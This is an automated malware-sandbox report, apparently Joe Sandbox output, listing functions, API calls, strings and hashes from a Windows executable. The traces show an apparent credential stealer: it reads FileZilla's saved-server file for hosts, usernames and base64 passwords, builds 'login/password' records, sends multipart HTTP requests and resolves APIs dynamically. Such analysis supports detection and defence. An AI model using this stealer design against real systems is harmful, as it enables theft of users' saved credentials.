Opcode ID: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction ID: d97db1a59c4db881a004fd13fa95f43a4b4e799dc382b7b3ddd968380e0460c3
Opcode Fuzzy Hash: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction Fuzzy Hash: B6F04FB1944648AFC710DF98DD45BAEBBB9FB08B21F10021AFA15A3690C7745545CBA1

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction ID: 6710e554edad90447a57410479f56be173a40300ace114c8cd68aa34356edfab
Opcode Fuzzy Hash: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction Fuzzy Hash: 17D05E74D0020CDBCB14DFE09A49ADDBB7AAB0D321F001656ED0572240DA305446CA65

Function 00407750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00415CA4,?), ref: 00407764
RtlAllocateHeap.NTDLL(00000000,?,00415CA4,?), ref: 0040776B
lstrcat.KERNEL32(?,024E0358), ref: 0040791B
lstrcat.KERNEL32(?,?), ref: 0040792F
lstrcat.KERNEL32(?,?), ref: 00407943
lstrcat.KERNEL32(?,?), ref: 00407957
lstrcat.KERNEL32(?,0250A1E8), ref: 0040796B
lstrcat.KERNEL32(?,0250A020), ref: 0040797F
lstrcat.KERNEL32(?,0250A110), ref: 00407992
lstrcat.KERNEL32(?,0250A200), ref: 004079A6
lstrcat.KERNEL32(?,024EBE48), ref: 004079BA
lstrcat.KERNEL32(?,?), ref: 004079CE
lstrcat.KERNEL32(?,?), ref: 004079E2
lstrcat.KERNEL32(?,?), ref: 004079F6
lstrcat.KERNEL32(?,0250A1E8), ref: 00407A09
lstrcat.KERNEL32(?,0250A020), ref: 00407A1D
lstrcat.KERNEL32(?,0250A110), ref: 00407A31
lstrcat.KERNEL32(?,0250A200), ref: 00407A44
lstrcat.KERNEL32(?,024EBDE0), ref: 00407A58
lstrcat.KERNEL32(?,?), ref: 00407A6C
lstrcat.KERNEL32(?,?), ref: 00407A80
lstrcat.KERNEL32(?,?), ref: 00407A94
lstrcat.KERNEL32(?,0250A1E8), ref: 00407AA8
lstrcat.KERNEL32(?,0250A020), ref: 00407ABB
lstrcat.KERNEL32(?,0250A110), ref: 00407ACF
lstrcat.KERNEL32(?,0250A200), ref: 00407AE3
lstrcat.KERNEL32(?,024EC1F0), ref: 00407AF6
lstrcat.KERNEL32(?,?), ref: 00407B0A
lstrcat.KERNEL32(?,?), ref: 00407B1E
lstrcat.KERNEL32(?,?), ref: 00407B32
lstrcat.KERNEL32(?,0250A1E8), ref: 00407B46
lstrcat.KERNEL32(?,0250A020), ref: 00407B5A
lstrcat.KERNEL32(?,0250A110), ref: 00407B6D
lstrcat.KERNEL32(?,0250A200), ref: 00407B81
lstrcat.KERNEL32(?,024EBD10), ref: 00407B95
lstrcat.KERNEL32(?,?), ref: 00407BA9
lstrcat.KERNEL32(?,?), ref: 00407BBD
lstrcat.KERNEL32(?,?), ref: 00407BD1
lstrcat.KERNEL32(?,0250A1E8), ref: 00407BE4
lstrcat.KERNEL32(?,0250A020), ref: 00407BF8
lstrcat.KERNEL32(?,0250A110), ref: 00407C0C
lstrcat.KERNEL32(?,0250A200), ref: 00407C1F
lstrcat.KERNEL32(?,024EBCA8), ref: 00407C33
lstrcat.KERNEL32(?,?), ref: 00407C47
lstrcat.KERNEL32(?,?), ref: 00407C5B
lstrcat.KERNEL32(?,?), ref: 00407C6F
lstrcat.KERNEL32(?,0250A1E8), ref: 00407C83
lstrcat.KERNEL32(?,0250A020), ref: 00407C96
lstrcat.KERNEL32(?,0250A110), ref: 00407CAA
lstrcat.KERNEL32(?,0250A200), ref: 00407CBE

Part of subcall function 00407610: lstrcat.KERNEL32(352C5020,004217A0), ref: 00407646
Part of subcall function 00407610: lstrcat.KERNEL32(352C5020,00000000), ref: 00407688
Part of subcall function 00407610: lstrcat.KERNEL32(352C5020, : ), ref: 0040769A
Part of subcall function 00407610: lstrcat.KERNEL32(352C5020,00000000), ref: 004076CF
Part of subcall function 00407610: lstrcat.KERNEL32(352C5020,004217A8), ref: 004076E0
Part of subcall function 00407610: lstrcat.KERNEL32(352C5020,00000000), ref: 00407713
Part of subcall function 00407610: lstrcat.KERNEL32(352C5020,004217AC), ref: 0040772D
Part of subcall function 00407610: task.LIBCPMTD ref: 0040773B

lstrcat.KERNEL32(?,02506CD8), ref: 00407E4B
lstrcat.KERNEL32(?,0250B008), ref: 00407E5E
lstrlenA.KERNEL32(352C5020), ref: 00407E6B
lstrlenA.KERNEL32(352C5020), ref: 00407E7B

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: ff1f90b81e100b1bf67056f39f8342891eb5238e5d64d8528918a30350bb3cf0
Instruction ID: 1e9b08135f7dcdfaa8f2c2dd520ea7fbbb4c73797e410f6fed26cf7179196423
Opcode Fuzzy Hash: ff1f90b81e100b1bf67056f39f8342891eb5238e5d64d8528918a30350bb3cf0
Instruction Fuzzy Hash: 8B3264B2C00615ABCB25EBA0DC89DDE773DAB48704F444A9DF60962090EE79E7C5CF64

Function 00410090 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

strtok_s.MSVCRT ref: 0041015B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DA6,00420DA3,00420DA2,00420D9F), ref: 004101A2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004101A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004101C5
lstrlenA.KERNEL32(00000000), ref: 004101D3

Part of subcall function 00418380: malloc.MSVCRT ref: 00418388
Part of subcall function 00418380: strncpy.MSVCRT ref: 004183A3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041020F
lstrlenA.KERNEL32(00000000), ref: 0041021D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410259
lstrlenA.KERNEL32(00000000), ref: 00410267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004102A3
lstrlenA.KERNEL32(00000000), ref: 004102B5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 00410342
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041035A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410372
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 004103A2
lstrcat.KERNEL32(?,profile: null), ref: 004103B1
lstrcat.KERNEL32(?,url: ), ref: 004103C0
lstrcat.KERNEL32(?,00000000), ref: 004103D3
lstrcat.KERNEL32(?,0042161C), ref: 004103E2
lstrcat.KERNEL32(?,00000000), ref: 004103F5
lstrcat.KERNEL32(?,00421620), ref: 00410404
lstrcat.KERNEL32(?,login: ), ref: 00410413
lstrcat.KERNEL32(?,00000000), ref: 00410426
lstrcat.KERNEL32(?,0042162C), ref: 00410435
lstrcat.KERNEL32(?,password: ), ref: 00410444
lstrcat.KERNEL32(?,00000000), ref: 00410457
lstrcat.KERNEL32(?,0042163C), ref: 00410466
lstrcat.KERNEL32(?,00421640), ref: 00410475
strtok_s.MSVCRT ref: 004104B9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004104CE
memset.MSVCRT ref: 0041051D

Strings

<Port>, xrefs: 00410206
profile: null, xrefs: 004103A8
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004100E4
url: , xrefs: 004103B7
login: , xrefs: 0041040A
<Pass encoding="base64">, xrefs: 0041029A
password: , xrefs: 0041043B
<User>, xrefs: 00410250
browser: FileZilla, xrefs: 00410399
<Host>, xrefs: 004101BC

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$ChangeCloseCreateFindFolderFreeNotificationPathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1266801029-555421843
Opcode ID: f13308eb13abeb77900b74efdbd0cfce152486b44370018a659c36fec8b67708
Instruction ID: f2c119995f801d95b771d97b8d40ebd85ad32e2919b54f786426441ea9706e1a
Opcode Fuzzy Hash: f13308eb13abeb77900b74efdbd0cfce152486b44370018a659c36fec8b67708
Instruction Fuzzy Hash: BBD1A571A00108ABCB04EBF1DC4AEEE7739AF54314F50851EF103A7191DF78AA95CB69

Function 00419270 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,024ECDA0), ref: 004192B1
GetProcAddress.KERNEL32(76210000,024ECDB8), ref: 004192CA
GetProcAddress.KERNEL32(76210000,024ECCF8), ref: 004192E2
GetProcAddress.KERNEL32(76210000,024ECD10), ref: 004192FA
GetProcAddress.KERNEL32(76210000,024ECD28), ref: 00419313
GetProcAddress.KERNEL32(76210000,024E4A90), ref: 0041932B
GetProcAddress.KERNEL32(76210000,024E9B28), ref: 00419343
GetProcAddress.KERNEL32(76210000,024E9D08), ref: 0041935C
GetProcAddress.KERNEL32(76210000,024EC4B8), ref: 00419374
GetProcAddress.KERNEL32(76210000,024EC680), ref: 0041938C
GetProcAddress.KERNEL32(76210000,024EC758), ref: 004193A5
GetProcAddress.KERNEL32(76210000,024EC560), ref: 004193BD
GetProcAddress.KERNEL32(76210000,024E9B48), ref: 004193D5
GetProcAddress.KERNEL32(76210000,024EC710), ref: 004193EE
GetProcAddress.KERNEL32(76210000,024EC590), ref: 00419406
GetProcAddress.KERNEL32(76210000,024E9A68), ref: 0041941E
GetProcAddress.KERNEL32(76210000,024EC770), ref: 00419437
GetProcAddress.KERNEL32(76210000,024EC5A8), ref: 0041944F
GetProcAddress.KERNEL32(76210000,024E9A88), ref: 00419467
GetProcAddress.KERNEL32(76210000,024EC650), ref: 00419480
GetProcAddress.KERNEL32(76210000,024E9CE8), ref: 00419498
LoadLibraryA.KERNEL32(024EC500,?,004164A0), ref: 004194AA
LoadLibraryA.KERNEL32(024EC620,?,004164A0), ref: 004194BB
LoadLibraryA.KERNEL32(024EC698,?,004164A0), ref: 004194CD
LoadLibraryA.KERNEL32(024EC530,?,004164A0), ref: 004194DF
LoadLibraryA.KERNEL32(024EC788,?,004164A0), ref: 004194F0
GetProcAddress.KERNEL32(75B30000,024EC728), ref: 00419512
GetProcAddress.KERNEL32(751E0000,024EC518), ref: 00419533
GetProcAddress.KERNEL32(751E0000,024EC668), ref: 0041954B
GetProcAddress.KERNEL32(76910000,024EC740), ref: 0041956D
GetProcAddress.KERNEL32(75670000,024E9E28), ref: 0041958E
GetProcAddress.KERNEL32(77310000,024E49F0), ref: 004195AF
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 004195C6

Strings

Fs, xrefs: 00419551
NtQueryInformationProcess, xrefs: 004195BA

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Fs$NtQueryInformationProcess
API String ID: 2238633743-1241331114
Opcode ID: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction ID: 826a308167d33dd6e89c68d84aa8ae535e40b86c028b310e96c4c1ecb1cfdbe7
Opcode Fuzzy Hash: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction Fuzzy Hash: D3A171B5500A00EFC764DF68ED88E1E3BBBBB4C361B50A51AEA05C3674D7349843DBA5

Function 00405150 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00418940: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000), ref: 00418960

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,0250BE58), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,0250BF08,?,0250B6D0,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,0250BE38,00000000,?,024E8590,00000000,?,00421980,00000000,?,00414CAF), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
HeapAlloc.KERNEL32(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

", xrefs: 004054D2
", xrefs: 00405756
------, xrefs: 00405549
------, xrefs: 00405407
------, xrefs: 004052E7
--, xrefs: 004052D0
", xrefs: 00405614
------, xrefs: 0040568B

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$??2@AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 811081172-2774362122
Opcode ID: bb7fc4e696f29f5ba21758e4b924d8e081b032445cd9c81e652ebb9516fe89ca
Instruction ID: 1d52745d65e853cf4120aa405e943018ad764f54ae2154c0ea3196726ecd4ecf
Opcode Fuzzy Hash: bb7fc4e696f29f5ba21758e4b924d8e081b032445cd9c81e652ebb9516fe89ca
Instruction Fuzzy Hash: 8E325071921118ABCB14EBA1DC55FEEB338BF54314F40419EF50662192EF782B98CF6A

Function 004059B0 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,0250BE58), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0250BF28,00000000,?,024E8590,00000000,?,004219C0), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,0250BF08,?,0250B6D0,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

------, xrefs: 00405AE6
------, xrefs: 00405D9C
XA, xrefs: 004060CA
XA, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7
------, xrefs: 00405C5B
", xrefs: 00405D25
", xrefs: 00405E66

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

